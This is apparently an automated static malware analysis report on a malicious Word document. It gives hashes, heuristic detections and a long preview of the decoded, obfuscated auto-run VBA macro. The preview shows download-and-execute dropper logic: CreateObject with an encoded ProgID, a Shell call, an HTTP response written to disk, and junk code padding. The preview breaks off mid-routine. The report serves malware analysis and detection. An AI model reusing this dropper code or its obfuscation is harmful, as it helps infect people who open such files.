Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5bc020f68ffaec3…

MALICIOUS

Office (OLE)

621.5 KB Created: 2018-07-19 09:25:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b7f83ebd83b19c3c10096e30d7179d86 SHA-1: a489b81b1e3b625d2aa9bc394f5fa55e49af5577 SHA-256: d5bc020f68ffaec3a2bad84ef9bcc42d6f24ad9aee5868aec5f879f793aad7e7
380 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open auto-execution macro, which is heavily obfuscated. Heuristics indicate that the VBA code attempts to download and execute a file from the internet using CreateObject and Shell calls. The presence of a 'enable macros' lure further supports the dropper functionality. The ClamAV detection name 'Doc.Dropper.Emodldr-6755244-0' also points to this behavior.

Heuristics 12

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (CmEQH), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        loNVx = WfLhI.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set WfLhI = CreateObject("" & "" & AQnIrjrv("M*i^cPriojsuoufAtk.HXLMRLVHJTgTmPR") & "" & "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WfLhI = CreateObject("" & "" & AQnIrjrv("M*i^cPriojsuoufAtk.HXLMRLVHJTgTmPR") & "" & "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        niWFFF = Replace(AQnIrjrv(niWFFF), "FOLDER", Environ(AQnIrjrv("ANpepzD@aOtpaL")))
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 259074 bytes
SHA-256: 63f1e394e283ff27b6ac24844f9edf56d92d305f972eab5ada56bdf31fc47342
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2444 of 3582 identifiers look randomly generated (e.g. 'vVIJyIqpnUPttcBaOkxOcTNBPtQsVJeFWQArkdqB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    mKubA = UCase("!Uh)p(l(Kk")
    RkKQwhtA = StrReverse("XNEiIqw@sfl-d")
    While NMzmPt < 1
        mKubA = UCase("Y*^JtYIFA(j_rPai")
        RkKQwhtA = StrReverse("ZxgMVi)hCK-c$aT")
        wjiuCT = StrReverse("Hi$AfzWVKWsTg")
        wjiuCT = RTrim("eV-[!HM?!hic?aKGrs")
        RkKQwhtA = Right("zq yUqD)Wec", 2)
        aRByQws = LTrim("-)GIYLgmiKylbNpdlzMR")
        rKrAkDUamyJ = 465 + 328 + 917
        wjiuCT = "BlG[(^atoLDLydw" + "$ V)upAxDkC?XsJ%" + "UqPpNOdIuv"
        NMzmPt = NMzmPt + 1
    Wend

    While oFrZfl < 4
        For EOuECG = 0 To 5
            tlxfuIsxk = "!BSx%GIwoeZ_aAH" + "zbGdDE%JMmaNm#iy%%" + "yud#r?bTj ]gbb.py!tM"
            mKubA = Left("YokcoNJrMt( ", 3)
            eNMWfHJ = Space(4)
            tlxfuIsxk = Space(15)
            vbViXNlqt = UCase("Tcgf?Gwclw [fe")
            pdqfRDsiSovY = 289 - 207 - 1595
        Next EOuECG

        EHWboK = Right("_v XC)(Ma_vM", 2)
        yomjOVC = Right("i[QiUlLa#jX", 3)
        oFrZfl = oFrZfl + 3
    Wend

    wjiuCT = Space(3)
    RkKQwhtA = UCase("IvnCMi]ocx #B")
    wjiuCT = 722 + 627 + 546
    While SeFgXH < 4
        While tQpTaH < 1
            rOmUr = StrReverse("qle)gNMzQ-.sJ")
            wjiuCT = LTrim("BAXTIp)LI-k")
            tQpTaH = tQpTaH + 3
        Wend

        eNMWfHJ = 896 + 1809 + 1960
        wjiuCT = UCase("]W!q[[GKAy)vl*v")
        eNMWfHJ = 840 - 1221 - 1279
        mKubA = 1398 - 985 - 1756
        RkKQwhtA = Space(17)
        EHWboK = Space(15)
        rKrAkDUamyJ = Left("OO(-uG?crp!", 5)
        yomjOVC = LTrim("@pDn Dv(Bi% BAB")
        aRByQws = Left("w!NsRL  @@I @q^xqV._", 2)
        SeFgXH = SeFgXH + 1
    Wend

    For MQfBte = 0 To 4
        While EFcIpl < 2
            vbViXNlqt = "Q_ZIKqySIXXE?bL" + "qgtF_lvs&nm_z&P-J_" + "ypeHd(Jzg]"
            mKubA = 617 + 122 + 105
            EHWboK = Right(")xPR.[ncuECL$", 5)
            yomjOVC = LTrim("Mu]S(Fa)I$l$.?")
            aRByQws = Space(8)
            wjiuCT = UCase("eq_dOtRlB@gu%DAc")
            eNMWfHJ = StrReverse("[fV#QH.J^DJ)$[RX")
            RkKQwhtA = RTrim("d$[$*.o]sQlwoXgvo-iL")
            aRByQws = StrReverse("D?eRFqE]haH)]GwU-Xh.")
            EFcIpl = EFcIpl + 1
        Wend

        aRByQws = RTrim("qr(^IQRWvjqzlMCf@WX")
        EHWboK = Left("d!GWn%^YaOVhLdpZiSpv", 5)
        OlaCtQECMQQv = UCase("Zswm*FE)RZ^[KWAiA")
        rOmUr = "mHkqMmelkTC" + "DDifW!z?.wRya%" + "$xH!I*LjiTzBvu(cUrV"
        aRByQws = UCase("WWJtoV]J-mV.k]Be")
    Next MQfBte

    rKrAkDUamyJ = Space(11)
    For FJnWxs = 0 To 6
        aRByQws = 344 - 1735 - 1714
        wjiuCT = 1092 + 406 + 1041
        RkKQwhtA = "R]J@HBVg!OVMt" + "t.[oC$bCHdyMXAB#R" + "RSgBhO%?SL%apzMvWE"
        rOmUr = LTrim(" lj!$ TFUOc!")
        dqqArPPuGuJh = UCase("JV?!OAXCod-KE")
        pdqfRDsiSovY = RTrim("OdPBAhG&T@r P*(]Ehg")
        vbViXNlqt = "#%zk!ZZm&VLpQRh_m$GQ" + "me^z)i(ECuXi" + "zRj_%ujAJNoFz!l)rcg"
        EHWboK = StrReverse("ntOnu!tCU(OYy")
        dqqArPPuGuJh = StrReverse("aIwR?MzX&gTYE*O")
    Next FJnWxs

    mKubA = Space(7)
    mKubA = Right("$GCKPKE?*z", 2)
    rKrAkDUamyJ = LTrim("t*LUTxbyEmC]bLrLU")
    rOmUr = UCase("uRPRNnI]cdIEhzEuYI")
    dqqArPPuGuJh = 1092 + 187 + 594
    For aRljHo = 0 To 7
        aRByQws = Left("IX[xN^EmHnoYi%v(yv", 2)
        OlaCtQECMQQv = Space(18)
        rOmUr = "$aVg QY[mEon#eL" + "HmwtH[!gPE(@yqZ!" + "#BGSnPJDCNNVlVo_X(m"
        tlxfuIsxk = Left("%yKU[lkp@B", 5)
        dqqArPPuGuJh = UCase("Uq]kf?x%@#w@")
    Next aRljHo

    While rMeBdv < 5
        For SUjije = 0 To 8
            mKubA = LTrim("-]ficlc*BiA")
            vbViXNlqt = UCase("eO.it)cAew")
            dqqArPPuGuJh = Left(")SeX)LtNO.e[MXOHB", 3)
            yomjOVC = 1320 - 962 - 1548
            aRByQws = RTrim("@B^eHch!ENux")
            eNMWfHJ = UCase("z_)t_[cKH.!Djg_!b wj")
            rKrAkDUamyJ = Space(5)
            vbViXNlqt = StrReverse("SHGwD%oCxZu@PK")
            pdqfRDsiSovY = StrReverse("iFfIRuMd@HLg")
            rOmUr = LTrim("wiENskP-TkC@lymj[UQP")
        Next SUjije

        wjiuCT = 767 - 416 - 904
        wjiuCT = Left("VOV-OM%FWPtFFljpi", 4)
        aRByQws = 938 - 1601 - 1576
        RkKQwhtA = LTrim("-tFl*wn&i(^BH#U^")
        mKubA = Left("QZlBAE%$Y!$o) -Rsn", 5)
        rMeBdv = rMeBdv + 2
    Wend

    tlxfuIsxk = Right("gtmZ_eLZkDFhN&rJrn", 5)
    yomjOVC = RTrim("d[BVnGlwMZL)%yQEYao")
sIvydnFc "azNcxK", "qNldpfYlwQ", "YVNDis", "GfDYikKgi", "ImDrZF", "fTihfoYg", "ojLLEvyuRy"
    tlxfuIsxk = 1472 + 1897 + 381
    RkKQwhtA = "JY#fMIxVOb%d" + "$lx.)Puy^_.WA[Gw" + "yHG[rM.]o_EuegNb"
    yomjOVC = ".Mh)lU IoHsU[" + "fK]??DQgKqEA" + "HKphY@P z$NuOn_eUdc"
    While ClzVyX < 4
        For aQYxXD = 0 To 8
            wjiuCT = RTrim("RwqSk]RfET*")
            tlxfuIsxk = Space(18)
            aRByQws = RTrim("]q-gV_N P*a.([A")
            EHWboK = RTrim("*CFKJ!jrY?eMC!MnJpe")
        Next aQYxXD

        rKrAkDUamyJ = StrReverse("pqyi#D%bBXErEwO?w")
        EHWboK = 948 + 1437 + 172
        yomjOVC = Left("I$YNrkftfnP", 3)
        rOmUr = LTrim("TGu@ESIO#b(Pv-F_]XKo")
        tlxfuIsxk = UCase(")kcpZT_O!h")
        eNMWfHJ = 932 - 1247 - 1761
        eNMWfHJ = LTrim("[G)%sVOSE@WlUJFdMQk")
        pdqfRDsiSovY = UCase("TTmDZOCgf]jY ksLQYKg")
        RkKQwhtA = 185 - 1707 - 165
        dqqArPPuGuJh = 1604 - 1440 - 1706
        ClzVyX = ClzVyX + 1
    Wend

    Dim niWFFF As String
    tlxfuIsxk = StrReverse("AHURb__Pnk!B@-@yaB")
    While AslTOx < 2
        pdqfRDsiSovY = "x&vP!.sWizF[jVFvcl" + "kSgA#AGg@lTRc .*@[(" + "&ny*.ZSEF sEsm"
        EHWboK = 202 + 640 + 179
        EHWboK = 1611 + 337 + 212
        pdqfRDsiSovY = 1288 + 362 + 1054
        eNMWfHJ = StrReverse("pELYObPy_clKL&")
        aRByQws = Space(11)
        AslTOx = AslTOx + 2
    Wend

    RkKQwhtA = LTrim("rWh^ -yPwW#mCyi")
    RkKQwhtA = Space(15)
    niWFFF = "f&o"
    RkKQwhtA = RTrim("jHK*bd[MmnT^uxbz(#Y")
    wjiuCT = Right("ARCL$O#$WF_", 3)
    vbViXNlqt = UCase(".lnW$v!p^bMvdD[)P_ S")
    aRByQws = Right("S#!*J.k!s?@@#x", 5)
    niWFFF = niWFFF + "Yr&"
    eNMWfHJ = 1130 - 1415 - 877
    EHWboK = Left("o$GEpN[neqwDwqO*$aKF", 5)
    wjiuCT = 1112 - 1421 - 672
    dqqArPPuGuJh = LTrim("Dic?fOFtWa)CsV^?L[")
    niWFFF = niWFFF + "f&i"
    RkKQwhtA = "l*L^wi$BOXtsWa^Y]IM@" + "OTtV*opZkVDJqoKh!" + "*lO[qL&I_EYsYVI"
    wjiuCT = 145 - 187 - 1321
    RkKQwhtA = 1055 + 605 + 1856
    niWFFF = niWFFF + "dlp"
    While ABICom < 1
        EHWboK = UCase("jT)TG F&p%")
        dqqArPPuGuJh = RTrim(" @Aw]sYLShajDD]O$_")
        OlaCtQECMQQv = UCase("tYskxGiea*.if.s")
        vbViXNlqt = 1476 + 827 + 1924
        aRByQws = LTrim("(xY*uSCPn)potkg")
        EHWboK = StrReverse("ao.uOc#OGJJ$)(s[Mwrz")
        vbViXNlqt = 1807 - 1253 - 1684
        ABICom = ABICom + 2
    Wend

    vbViXNlqt = StrReverse("euYnlNEo]WYeB")
    EHWboK = 1884 - 1386 - 1541
    aRByQws = Left("&GKekOnwML", 3)
    OlaCtQECMQQv = LTrim("s_bOuE[ZtxSle")
    niWFFF = niWFFF + "evs"
    aRByQws = StrReverse("oV.)C]c.%]](@vdHgQh")
    For byzTpt = 0 To 2
        For DxRdMb = 0 To 9
            OlaCtQECMQQv = StrReverse("EirrONQQxSAVAt")
            vbViXNlqt = StrReverse("JocC]$nWe.JM")
            rOmUr = StrReverse("#KkdpYaU_nxaI(i")
            wjiuCT = UCase("NKbp&r^QmrP)")
            dqqArPPuGuJh = Right("v*tCltBatEBzyHcODE", 2)
            pdqfRDsiSovY = Right("qvdnScHDhN", 5)
            rKrAkDUamyJ = LTrim("jKMbK%kJEQJrci_")
            pdqfRDsiSovY = LTrim("[NOeK[n#Bnfg$TgvqF")
        Next DxRdMb

        rOmUr = Space(18)
        eNMWfHJ = LTrim("xCsB^xQ&%%mGjR%J!t")
        yomjOVC = 1775 + 1345 + 753
        eNMWfHJ = 128 - 1503 - 660
        tlxfuIsxk = 1707 - 579 - 1330
        dqqArPPuGuJh = LTrim("CF*m#J C%kkoD-kQJz")
    Next byzTpt

    While rLFZRa < 4
        rKrAkDUamyJ = Space(11)
        eNMWfHJ = UCase("s@ebd(W)m^g")
        yomjOVC = "gTlAlz-M.c]gO]" + "AnFWElkUOq  ^" + "fEn#_IfaK ^B!pRipj&["
        aRByQws = 452 - 1307 - 521
        eNMWfHJ = "_khVYIHUb#zpqt?" + "muJKPo-NX-F#" + "^S@XVfM!l(ah^n"
        rLFZRa = rLFZRa + 2
    Wend

    eNMWfHJ = UCase("yDK(Ez!nzXjeqxUQK")
    pdqfRDsiSovY = UCase("teL$)I.Xt%Rasz-dNJc")
    niWFFF = niWFFF + "(.D"
    aRByQws = RTrim("RDl]gY&LVC")
    vbViXNlqt = Left(")LFW)ZrMMzHKF", 4)
    niWFFF = niWFFF + "eHx"
    pdqfRDsiSovY = "VqDzC)C.)TDRAGBAG" + "dJfGjeiqJR" + "HNfFtJiuRB"
    vbViXNlqt = 1238 + 1407 + 1805
    OlaCtQECMQQv = Space(17)
    For CtxzVB = 0 To 5
        vbViXNlqt = Space(4)
        pdqfRDsiSovY = Space(17)
    Next CtxzVB

    niWFFF = niWFFF + "qed"
    mKubA = RTrim("(q%xjAnu?nywp")
    mKubA = "!sT[ApYAHBvxc*ZXj" + "tR[tsKw[r-IlTCvt" + "ajxGGU)@tTMWT?qRt"
    tlxfuIsxk = 349 + 398 + 1694
    EHWboK = 650 - 851 - 1496
    niWFFF = niWFFF + " m/"
    vbViXNlqt = RTrim("ozC?ja%I[^)p")
    rOmUr = LTrim("qKao[QM#jQYqVg$C%gj")
    aRByQws = Right("oPlV]]zPHYUxNKR", 5)
    niWFFF = niWFFF + "ip "
    rKrAkDUamyJ = 1449 - 1393 - 1467
    tlxfuIsxk = Space(5)
    niWFFF = niWFFF + " Qc"
    mKubA = RTrim("$f@KA [Vgnlr_#DENtbO")
    dqqArPPuGuJh = Left("VVVBwF@IMBYAb#Z*UDJ", 3)
    niWFFF = niWFFF + "M:q"
    aRByQws = RTrim("lc$@X.M#L$NYUiqXHDj")
    While dOSXZL < 3
        While HOVknO < 1
            yomjOVC = Space(14)
            eNMWfHJ = StrReverse("DM[ovBnX%sqi")
            RkKQwhtA = 1325 + 272 + 1962
            vbViXNlqt = 1828 + 1243 + 406
            rOmUr = RTrim("-_EX^W&qoGBZ.dsWHj")
            rKrAkDUamyJ = Right("RWr&B MY?-M", 4)
            tlxfuIsxk = 1555 + 700 + 1816
            HOVknO = HOVknO + 2
        Wend

        EHWboK = RTrim("d@NpNG[Wr^dStq")
        yomjOVC = Space(3)
        dOSXZL = dOSXZL + 2
    Wend

    aRByQws = Left("njcUJMq_) pfdU.*OtD", 2)
    eNMWfHJ = Left("Kp q$mD?O#FC)b(JPYcL", 3)
    tlxfuIsxk = "QoOFGIKAKwq*Mr" + "[Zod!]FstSgTOydGiR-G" + "eRZxldAqprqnHca*^ub"
    niWFFF = niWFFF + "\fw"
    For GGHUbJ = 0 To 10
        RkKQwhtA = StrReverse("BczFQPK %n!RVEln@*")
        RkKQwhtA = 1020 + 1779 + 806
        yomjOVC = 689 + 348 + 1909
        aRByQws = 762 - 767 - 1681
        rKrAkDUamyJ = 1257 + 1559 + 176
    Next GGHUbJ

    While aBJkXf < 2
        tlxfuIsxk = Space(14)
        vbViXNlqt = 489 + 1522 + 1773
        tlxfuIsxk = Left("v&vh_vH(T[NnfyW)szMA", 2)
        dqqArPPuGuJh = 1703 + 576 + 511
        aRByQws = RTrim("UaUV]D[BDqmk-[AZB")
        vbViXNlqt = "vkbZ!UEy_YQNaesbd]P" + "PZxKWjSkfUD (iuNp" + ".-MXIizKwB[NaWhHi"
        aBJkXf = aBJkXf + 2
    Wend

    niWFFF = niWFFF + "Ei)"
    EHWboK = Left("nDTFHZOMIoI", 3)
    wjiuCT = "MbjxFxdS%-$ncmMkDKlV" + "MeoMoPdplxaQL?t" + "GvPh?l[Uql&k e$"
    niWFFF = niWFFF + "nsd"
    While NiLntO < 3
        aRByQws = UCase("MGPCZY)MD]PDZr?")
        tlxfuIsxk = LTrim("g$HsQtP V)zTzZ_#.")
        rOmUr = 993 - 1934 - 1278
        wjiuCT = LTrim("tUw_ihDVGR")
        vbViXNlqt = Right("IfiA]& @f]j", 4)
        NiLntO = NiLntO + 2
    Wend

    tlxfuIsxk = Space(20)
    niWFFF = niWFFF + "joo"
    For miQJXR = 0 To 6
        OlaCtQECMQQv = 356 + 1696 + 721
        EHWboK = Right("E)xA^]ujBtwPHL", 3)
        mKubA = StrReverse("UCkB-oHdy_(j^")
    Next miQJXR

    rOmUr = StrReverse("$e]hBo.HXJBnpapaPZv")
    yomjOVC = "?JXTrXkzreSpn$adz?ZM" + "c@Oc[T-m$wH)wPVRRl" + ")KArocDU%tm)Pa!sP"
    niWFFF = niWFFF + "w?s"
    mKubA = UCase("R]D#!FXneTtyU")
    rKrAkDUamyJ = LTrim("pbgYfrAQb*NT!cV(iXWm")
    While PGXGAH < 2
        dqqArPPuGuJh = RTrim("FELEvfmd-*Z^XcS")
        OlaCtQECMQQv = Right("lzV*LqycSSG.tCy.P", 2)
        tlxfuIsxk = StrReverse("_&A^JzcKqin!")
        aRByQws = LTrim("kn%jx dgar")
        mKubA = 638 + 251 + 767
        wjiuCT = Space(11)
        aRByQws = Right("amrw@sVFGw%Px$x", 4)
        rKrAkDUamyJ = 426 + 1143 + 630
        mKubA = Space(3)
        eNMWfHJ = RTrim("TO(QqJgQJW!")
        PGXGAH = PGXGAH + 3
    Wend

    dqqArPPuGuJh = 782 - 1197 - 1057
    OlaCtQECMQQv = Left("IZNkqZ$(In", 2)
    niWFFF = niWFFF + "*\P"
    aRByQws = "cooeVH-F_d)Gv" + "_d.*sO!swI*HHw*" + "RP*(sUDgeP&Dv asxb"
    OlaCtQECMQQv = Space(3)
    vbViXNlqt = LTrim("Pisbil@_%Lc")
    niWFFF = niWFFF + "s@y"
    For MQQfEI = 0 To 6
        pdqfRDsiSovY = Right("Itov#.v%ZVY", 4)
        wjiuCT = UCase("k-QMdKaAqb(PI")
        EHWboK = Space(4)
        tlxfuIsxk = Left("wsA&Pt#opMXO^K_", 5)
        mKubA = UCase("EWGMIHpGuiht$@(or")
        eNMWfHJ = "UgSTHRdTRO" + ".SN kr!LU@ywb-" + ".bISr%Adv $KS$%v*L"
        wjiuCT = RTrim("wmfYCdy?F&.gDhpR")
        tlxfuIsxk = UCase(".U[rMY*ftx.@[!d")
    Next MQQfEI

    mKubA = StrReverse("Mu*v&NpN_Mid")
    RkKQwhtA = StrReverse("giyd_Wfs?Jm%-?R")
    rOmUr = RTrim("ek?..f?mD RK_%vzV")
    eNMWfHJ = 1785 - 1606 - 1424
    niWFFF = niWFFF + "yst"
    rOmUr = StrReverse("-vW %rFsq[M")
    mKubA = StrReverse("nVf&#f*n(k]A")
    rKrAkDUamyJ = Space(20)
    While OLSSbW < 1
        While epJsLV < 5
            vbViXNlqt = 1672 + 720 + 1769
            EHWboK = Left(".LuY^T&&@qvsZAxhe*w", 4)
            eNMWfHJ = RTrim("DZ$(XR.pnV[(dr")
            pdqfRDsiSovY = Space(5)
            epJsLV = epJsLV + 3
        Wend

        vbViXNlqt = Left("vkArE@oY( VhI$lDZJpY", 5)
        wjiuCT = LTrim("Ev(wRxoTVe.B$ )-")
        wjiuCT = Right("GPOXjBfhAtF$RT", 4)
        mKubA = Right("TeT.czkI$Fmdom", 4)
        mKubA = Space(17)
        EHWboK = "Ct^[OuXXYQEBXIdJ^]Yr" + "V(BJkvbJS_MkSfvj" + "uhhKvtwQYw"
        eNMWfHJ = UCase("_n.U%Hge[Da")
        pdqfRDsiSovY = "wQWmwo$uwFW" + "#caI$-k(.JkqlOxq" + "vTTHsv)lq*t]auI^nF%"
        yomjOVC = StrReverse("wRCMW$THzCX")
        dqqArPPuGuJh = 365 - 621 - 1907
        OLSSbW = OLSSbW + 3
    Wend

    aRByQws = UCase("[Ec WKoZEe.aK")
    niWFFF = niWFFF + "tee"
    eNMWfHJ = Space(18)
    For MoeNZL = 0 To 4
        While bNndNp < 3
            eNMWfHJ = Left("Hy keOtB.thcO$G", 3)
            rKrAkDUamyJ = UCase("SNh[pwHWcJzsJz#^K")
            yomjOVC = Right("S%]RFeo)h IknvZ^rJRM", 2)
            rKrAkDUamyJ = "@bgWdW_z[qku(TedP" + "Sml[]SCcnyRQHIS" + "cE-^OLj hoj"
            rKrAkDUamyJ = LTrim("$&pi[!t]aMnS#oSex%cw")
            mKubA = "wfD@cB%rWSxcAMp]" + "[_Z?q&%MW?kgI]#*&V" + "b$uNd(r(JD*e?_"
            eNMWfHJ = Space(19)
            pdqfRDsiSovY = Space(8)
            bNndNp = bNndNp + 2
        Wend

        vbViXNlqt = Left("WEhaErSZ@t%D", 3)
        mKubA = 442 + 206 + 600
        yomjOVC = Left("?t)z$??U g", 3)
        EHWboK = StrReverse("iHdoj$czMB]ReGpEx^Y")
    Next MoeNZL

    dqqArPPuGuJh = Space(12)
    While MhSZRa < 3
        For GTsYoZ = 0 To 8
            aRByQws = UCase("seQHSCv!@k")
            dqqArPPuGuJh = UCase("*gkqrdgAn%mH.[xm[(EV")
            dqqArPPuGuJh = RTrim(")&*JZ I&xfsklZDsQ")
            mKubA = Space(17)
            aRByQws = RTrim("rXiZQSHELIm]vJ!")
            EHWboK = 1296 - 1306 - 792
            wjiuCT = 360 - 835 - 218
            rKrAkDUamyJ = UCase("Iab](rV!nrI&AZ]J")
            eNMWfHJ = "XEcg[oi&EmQ #" + ".MtSeFVoodJ^.Z]-PO" + "!(Mcdj$Fft "
            OlaCtQECMQQv = StrReverse("-CVvWKTBKut!W-tYNU")
        Next GTsYoZ

        mKubA = StrReverse("(xNCmJGUDsEfs?CP")
        rOmUr = RTrim(" pVHOorDban")
        yomjOVC = 1182 + 1821 + 539
        yomjOVC = LTrim("N%#Q#^[KJXLt")
        yomjOVC = LTrim("y #mS]baMP^S#x#Kil")
        mKubA = RTrim("TL@GfcgX#jjMoslZ")
        aRByQws = RTrim("%acOtL-(CWeIw")
        vbViXNlqt = UCase("HPvB&cN_$NbI@liOS")
        mKubA = "wT?lG^PhXdx" + "-dGizEuRs_HH" + "N$qks.wEDL"
        MhSZRa = MhSZRa + 1
    Wend

    niWFFF = niWFFF + "xmX"
    OlaCtQECMQQv = UCase("YIYW-aYefMLSP")
    For GkzCiF = 0 To 2
        For pBBoHD = 0 To 10
            tlxfuIsxk = RTrim("@]gCaMJS(tLOoX")
            rOmUr = RTrim("-C-)y-JMw(MR_DkRy")
            RkKQwhtA = Left("em !n)Ke$nux", 3)
            rKrAkDUamyJ = Space(3)
            pdqfRDsiSovY = 338 + 1863 + 677
            wjiuCT = 591 + 181 + 285
            eNMWfHJ = Left("[td$YQaW%ZM$sMd", 2)
            aRByQws = LTrim("s))MOUR$rolCQND*z")
        Next pBBoHD

        rKrAkDUamyJ = Space(18)
        yomjOVC = "G.^^yPhZ)K" + "j?IiA[NfdaWZ" + "ktbY(LLaTj.-Vx"
        rKrAkDUamyJ = Right("BX .j%Kb&J", 4)
        mKubA = Right("dohejHml[c?t&km", 4)
    Next GkzCiF

    niWFFF = niWFFF + "3J2"
    dqqArPPuGuJh = UCase("bJonak-nraw_Fth")
    For OuZDkk = 0 To 10
        tlxfuIsxk = LTrim("#VfhnUecagcKeFcW")
        mKubA = Left("LA?nfUrX@wSsX&gc[I@X", 4)
        wjiuCT = 1586 - 1196 - 1924
    Next OuZDkk

    yomjOVC = UCase("jf$_-s)bGD$")
    niWFFF = niWFFF + "b x"
    OlaCtQECMQQv = RTrim("IrwD!OlYRolM%TeKu")
    For IwvKSq = 0 To 5
        mKubA = UCase("@Q!h%qazVdbtL.HoRAp")
        EHWboK = Left("z]_^.)$n@yp)s^G", 5)
        pdqfRDsiSovY = RTrim("* fF$ROP]qksoW")
        dqqArPPuGuJh = UCase("tqT%fHxwn*.?*SSd")
        mKubA = 1072 + 783 + 1672
        EHWboK = UCase("Cb]XODjbbL!dZNp^mE")
        EHWboK = RTrim(" CO#-_!iYuq!]EVkwo]")
        rKrAkDUamyJ = RTrim("hI]qIPO%GPfIIc")
        OlaCtQECMQQv = StrReverse("c@SJs$vLTN!fW")
        OlaCtQECMQQv = RTrim("bwWoyA[XOgFGfDf#B q")
    Next IwvKSq

    mKubA = Left("f&iOC%dZik b", 5)
    yomjOVC = "AY$Xj?gFO!-l" + "QwYAiAdKGMQbhu" + "lakkViycgO-lHNHg"
    RkKQwhtA = Space(11)
    niWFFF = niWFFF + "/Rm"
    EHWboK = UCase("oHTWzl!ta#CyBX&")
    rOmUr = 492 + 506 + 315
    niWFFF = niWFFF + "j q"
    wjiuCT = "^xycqJZ^Zn_BH(C^VH." + "q)ePPv!.@lv" + "y_^$M$_.k$optMua"
    While fNabvl < 2
        RkKQwhtA = 417 + 695 + 1336
        yomjOVC = "%LNtCL?(@EP" + "[lTRjSPAQ)Ars" + "FhVMuRPLQ@"
        RkKQwhtA = Left("I*PD#zv_Hat)Ens", 2)
        fNabvl = fNabvl + 2
    Wend

    pdqfRDsiSovY = 1280 + 258 + 920
    While beKluR < 4
        While EkCVag < 4
            dqqArPPuGuJh = "%ey!bdq$ymCFZp" + "Vx)z.UO*Sa" + "zuOedMVJ_Q]"
            RkKQwhtA = LTrim("&TJycZVegQjKT")
            eNMWfHJ = UCase("fBXv?*pa(O")
            EkCVag = EkCVag + 3
        Wend

        rKrAkDUamyJ = Space(5)
        dqqArPPuGuJh = Left(" w&GPC*fP.geLeL", 4)
        beKluR = beKluR + 1
    Wend

    niWFFF = niWFFF + "n]o"
    wjiuCT = Space(13)
    dqqArPPuGuJh = UCase("HHkT XX%Jkn%l-")
    rOmUr = Space(1)
    niWFFF = niWFFF + "TtQ"
    yomjOVC = Right("pVo]Stnt%oTCZ", 2)
    For HIqPGF = 0 To 5
        While jhEOpe < 2
            aRByQws = 1602 + 211 + 1749
            EHWboK = LTrim("!!#EhiJQd]SM")
            dqqArPPuGuJh = 1816 - 1077 - 1635
            rOmUr = StrReverse("hy.Wf[z_KtSOE[V.QD@")
            wjiuCT = Left("RestgK !(Rr#NkQ", 5)
            jhEOpe = jhEOpe + 3
        Wend

        rOmUr = 1607 - 943 - 291
        eNMWfHJ = Space(18)
        EHWboK = RTrim("Z_r#_ lMj%ohdqA")
        RkKQwhtA = Left("p[w.NskRKAB", 4)
        wjiuCT = "((pqrowojU." + "_-*JtDi_BHY(R" + "XdP?kNtOt-Lgah"
    Next HIqPGF

    rKrAkDUamyJ = StrReverse("eDYuvjwT)!Hz")
    yomjOVC = RTrim("N.uBEXi^oRJ&ps Wy@")
    pdqfRDsiSovY = Space(1)
    niWFFF = niWFFF + "eap"
    rKrAkDUamyJ = Left("&IqSH*i#.ERw.", 4)
    wjiuCT = "FWa!wKw#x]jZPQJl%" + "zk]Rm_vqOSu_!" + "--?SBtvGQh"
    niWFFF = niWFFF + "xaM"
    yomjOVC = RTrim("kJ^?VXOmMBCU].-@%")
    tlxfuIsxk = 1786 - 497 - 194
    mKubA = 738 + 1989 + 1060
    mKubA = StrReverse("C]ekk[jaOYvTwn")
    niWFFF = niWFFF + "dD."
    OlaCtQECMQQv = 217 + 246 + 231
    wjiuCT = 1869 + 1635 + 1075
    OlaCtQECMQQv = LTrim("[WIMmO@.sJueDUlG")
    pdqfRDsiSovY = RTrim("SlSU Jns%hN[lh[X(l")
    yomjOVC = 770 - 1748 - 1432
    niWFFF = niWFFF + "_ev"
